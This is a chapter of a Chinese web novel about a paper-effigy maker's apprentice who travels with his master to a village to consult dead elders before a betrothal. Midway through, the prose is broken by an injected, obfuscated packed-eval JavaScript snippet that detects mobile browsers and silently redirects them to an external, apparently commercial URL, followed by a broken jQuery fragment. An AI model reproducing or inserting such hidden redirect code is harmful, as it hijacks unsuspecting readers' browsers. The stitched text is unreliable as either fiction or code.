“师兄,我什么时候才能做出像你做的这种纸人啊?”
带着婴儿肥的小女孩晃着自己的小脑袋,带着扎得松松垮垮的小啾啾一晃一晃的,她趴在木桌上两眼放光的看着桌上的纸人。
“师父不让你做这个。”
还没等吴丰州回话,坐在另一边涂涂画画的另一个少年就一脸正经的教育小女孩,把小女孩气得脸颊鼓鼓。
吴丰州好笑的看着眼前的两个人,小女孩是师父的女儿,小师弟是被师父收养的孤儿,两个人明明年纪差的那么大,却总是喜欢打闹在一起。
说话间,一个老人走了进来,老人身材干瘦,两眼微微外凸,习惯性佝偻着背脊让他看上去有些矮小,留着山羊胡让他整个人看上去有些阴郁又鬼精。
这是他们的师父,也是十分有名的纸艺人,周围红白喜事都喜欢找这个老人。
吴丰州看到师父整个人都不如之前在两个孩子面前那么轻松惬意,脸上的笑容霎时间收敛起来,“师父。”
吴丰州有些害怕这个师父,不知道为什么,或许是和他们从事的这一行有关系,他总觉得这个师父有些鬼气,他甚至都不太敢和师父对视。
师父只是点了点头,看向吴丰州和小师弟的眼神都没什么波动,在看见小女孩时,眼神带着浅浅的柔和。
“小玉,别打扰师兄们练手艺,我带了桂花糕回来,去吃。”
小玉还想和师兄们待在一起,爹爹的话虽然柔和,但她知道里面潜藏着不容拒绝的含义,小玉年纪小,但能感觉的出来,她爹爹似乎不愿意她和师兄们走得近。
小玉乖巧的点点头,一步三回头的离开。
和吴丰州以及小玉不同,小师弟是个天不怕地不怕的性格,哪怕是面对师父,他都能嬉皮笑脸。
“师父,有没有我的份啊?”
照例得到了师父的冷眼,小师弟习以为常,只是翘着腿继续在桌上涂涂画画。
“明天跟我回村子里一趟。”
他是对着吴丰州说的,吴丰州点点头,他们师徒几个虽然住在镇子上,可却是从红祥村走出来的泥腿子,虽然他们不下地,靠的是手艺吃饭,可对镇上的人来说都差不多,甚至镇上的人待他们师徒几人还不如他们口中的泥腿子。
因为他们会的手艺沾了白事的边,日常生活中别人总是不愿意靠近他们的,因为害怕沾了晦气。
等师父走后,小师弟跨坐过来,“我也想去村子里。”小师弟愤愤道。
“师父每次出去都带你,不带我,我觉得我手艺没那么差。”
吴丰州无奈一笑,“小玉还小,家里得留一个人,你平时嬉皮笑脸不知轻重,师父怎么可能安心带你走。”
说来也奇怪,师父虽然收了小师弟做徒弟,但在教授小师弟手艺的时候却不如教吴丰州的时候细心,小师弟很多东西都是偷学的,吴丰州不敢问师父,但小师弟想知道什么他总会偷偷告诉小师弟。
小师弟没被吴丰州说服,但也没有再说什么,只是趴在桌上,望着自己的图纸发呆,吴丰州循着视线看过去。
纸上勾勒着的是一个长发披散的女人,她柔柔的侧眸,纤细的手抚弄着自己发丝,另一只手握着梳子打理自己的长发,寥寥几笔却尽显风情。
不知道是不是错觉,吴丰州觉得女人眉眼之间有些熟悉,“真美啊。”
吴丰州忍不住慨叹,小师弟却像是被发现了什么秘密一般,把纸盖住,眼神闪躲,“我,我乱画的。”
看见自己没心没肺的小师弟耳朵微红,吴丰州忍不住一笑,“真人?心上人?”
吴丰州的调侃让小师弟像被踩了尾巴的猫一下子跳了起来,“我说了乱画的,你好好收拾,明天不是还要打早回村吗,我先走了。”
隔天清早,吴丰州打早起床,用帕子擦了擦脸,就背上东西走出了门,师父还没出来,他就在外面站着等,对面大门被打开,吴丰州抬头就看见一个女人走了出来,手上拎着大大小小的篮子,很难想象一个如此瘦弱的女子哪来的那么大力气。
那是这条街上最有名豆腐娘子,她身后紧接着又走出来一个女子,和女人差不多高,但穿着比女人要鲜艳一些,她和吴丰州对视了一眼,有些害羞的低下头。
吴丰州有些恍然,难怪昨天他看小师弟的画像有些熟悉,原来是豆腐娘子的女儿。
和豆腐娘子大气的性格不同,她的女儿性格腼腆,不爱和人说话。母女俩每天都雷打不动的去街头卖豆腐,一般都是豆腐娘子吆喝,她女儿挎着篮子收钱。
豆腐娘子转过身这才发现吴丰州,她爽朗一笑,“小郎君出去啊。”
吴丰州点点头,“回村子办些事。”
豆腐娘子点点头,又和吴丰州寒暄了一会儿,便拉着女儿走了。她是做生意的,讲究与人为善,所以哪怕周遭人对吴丰州师徒几人有些避讳,但她却能够面色如初的笑意相迎。
想起之前有段时间在厨房里看见的豆腐,吴丰州大概知道小师弟是什么时候看上人家的了。
可人家是清白人家,小师弟想要娶人家怕是难呐。
吴丰州瞎想着,师父也走了出来,他摆了摆手,示意吴丰州跟上,两人赶去镇口,那里有赶驴车来往村落与城镇的人。
等赶到村子的时候,太阳已经升到了头顶。
吴丰州却不觉得饿,他想了想,从包袱里拿出来两个炊饼,递给师父,师父接过就开始啃,两个人沉默的往村里走。
吴丰州看了眼村口的木匾,上面写着红祥村,他默默收回眼。
村口有人在等,那人有点急躁,一直往村口看,在看见吴丰州和老人时,他才露出一点笑意,“你可来了,三叔公!就等你了。”
等到了一户人家,吴丰州才知道今天来是为了什么。
是一件喜事,红祥村一户人家要和隔壁村一户人家结亲家了。
是正经亲事。
吴丰州看着眼前有些害羞的高大汉子如是想道。
两户人家已经看了八字,两户人家也没什么意见,现在就差上问长辈,要是没问题就可以过聘礼了。
这个上问长辈便是指问问去世的长辈。
不是每一个地方都有这种习俗,但红祥村祖祖辈辈都有这样的习俗,女方也尊重红祥村的习俗,所以今天师父问了男方长辈后还要跨个山跑去女方家里再问一遍女方去世的长辈。
这户人家都已经把桌案都备好了,明显就等吴丰州的师父了。
吴丰州将包袱打开,里面的东西一一放好,就退到后面等着了。
“三叔公要是没有搬走就好了,哪还用这么麻烦,看八字那天就能一起做了。”有人站在吴丰州这边和旁边的人嘀嘀咕咕。
“也不知道三叔公为什么要搬到镇上去,村里不好吗?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031885|190174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“村里哪有镇上好,你那是没去过镇上,那叫一个大啊,好多好多东西,你见都没见过。”
“但是,三叔公都这么大年纪了,不折腾啊。”
“谁知道呢。”
吴丰州听了一耳朵就把思绪放在正在剪纸的师父身上了。
艳红的纸张被剪成人形,对比起家里那些和活人没什么差别的纸人,这种人形剪纸简直是粗略无比,可这就是红事剪纸,就是避讳形似活人。
人形裁剪完备,师父拿起毛笔沾了墨水,往红色纸人身上写上了这户人家长辈的生辰八字,将其放在灵位前,又重复操作将这对即将结合的新人的八字写在新剪好的红色纸人上,而后低声呢喃了什么,语毕将其丢进燃烧的火盆里。
火焰吞噬纸人,吴丰州却又忍不住一哆嗦。
奇怪,他为什么要哆嗦呢?
吴丰州眼中闪过一丝空白,很快一阵笑声把他拉扯了回来,他连忙回神,就看见写着长辈八字的纸人从空中飘落,落入火盆。
添火加喜,是好事,意味着男方的长辈同意了。
这下,就只要女方那边没问题,就可以正式过礼了。
师父明显是想要今天把事情弄完,明早就可以往回赶,两人没留在村里吃东西,就让人带着往女方家里赶路。
跨过山头,到达女方村落时吴丰州觉得自己身体素质可真好,这么紧赶慢赶都没觉得累。
女方这边的村子明显没有红祥村大,人口也比较少。
吴丰州跟着红祥村一群人往里走的时候,就不自觉的打量着这个村子。
这里的人大多似乎也比红祥村的人要瘦一些,吴丰州看了一眼男方的母亲,大娘眼中明显有些嫌弃。
吴丰州知道估计是两个孩子八字太合,大娘只能把对女方家境的不满压在了心里,反正嫁出去的女儿泼出去的水,大娘也不会过来,看不见也就罢了。
事情进展的很顺利,女方家里人还想着留人下来吃饭,被红祥村里的人婉言拒绝了。
可吴丰州却听见有人在后面嘀咕着什么。
“你们村里有什么我们还不清楚吗,上次来一个个瘦不拉几的,也不知道有什么可吃的。”
吴丰州挑了挑眉,这个村子收成不好吗?
但到底要留一会儿,两人家商量过礼的时间,吴丰州见没自己什么事就往外走,想着溜达溜达。
刚出门没多久就见一个穿着不合身麻衣的女孩背着一捆柴刚刚从山上下来的模样,他鬼使神差的一直注视着这个小女孩。
眼神过于浊热,女孩奇怪的看了吴丰州一眼,咬了咬牙,脚步加快,就差把这里有怪叔叔的想法写在脸上了。
“姐姐,他还在看我吗?”
吴丰州听着那个女孩低声说道,得到什么答案,女孩脚步更快了。
她喊谁姐姐呢?
吴丰州看了一眼周围,没有其他人啊。
“你看什么呢?”
吴丰州回头,是今天喜事的男主角,他笑了笑,示意人看那小腿倒腾的飞快的背影。
“哦,小桃啊。”似乎想起什么,男人语气有些怜悯。
“那家人啊...啧啧啧...”
“她有姐姐?”吴丰州都不知道自己为什么要问这个问题。
“没有啊,”男人有些奇怪,“但似乎家里刚出生了个弟弟。”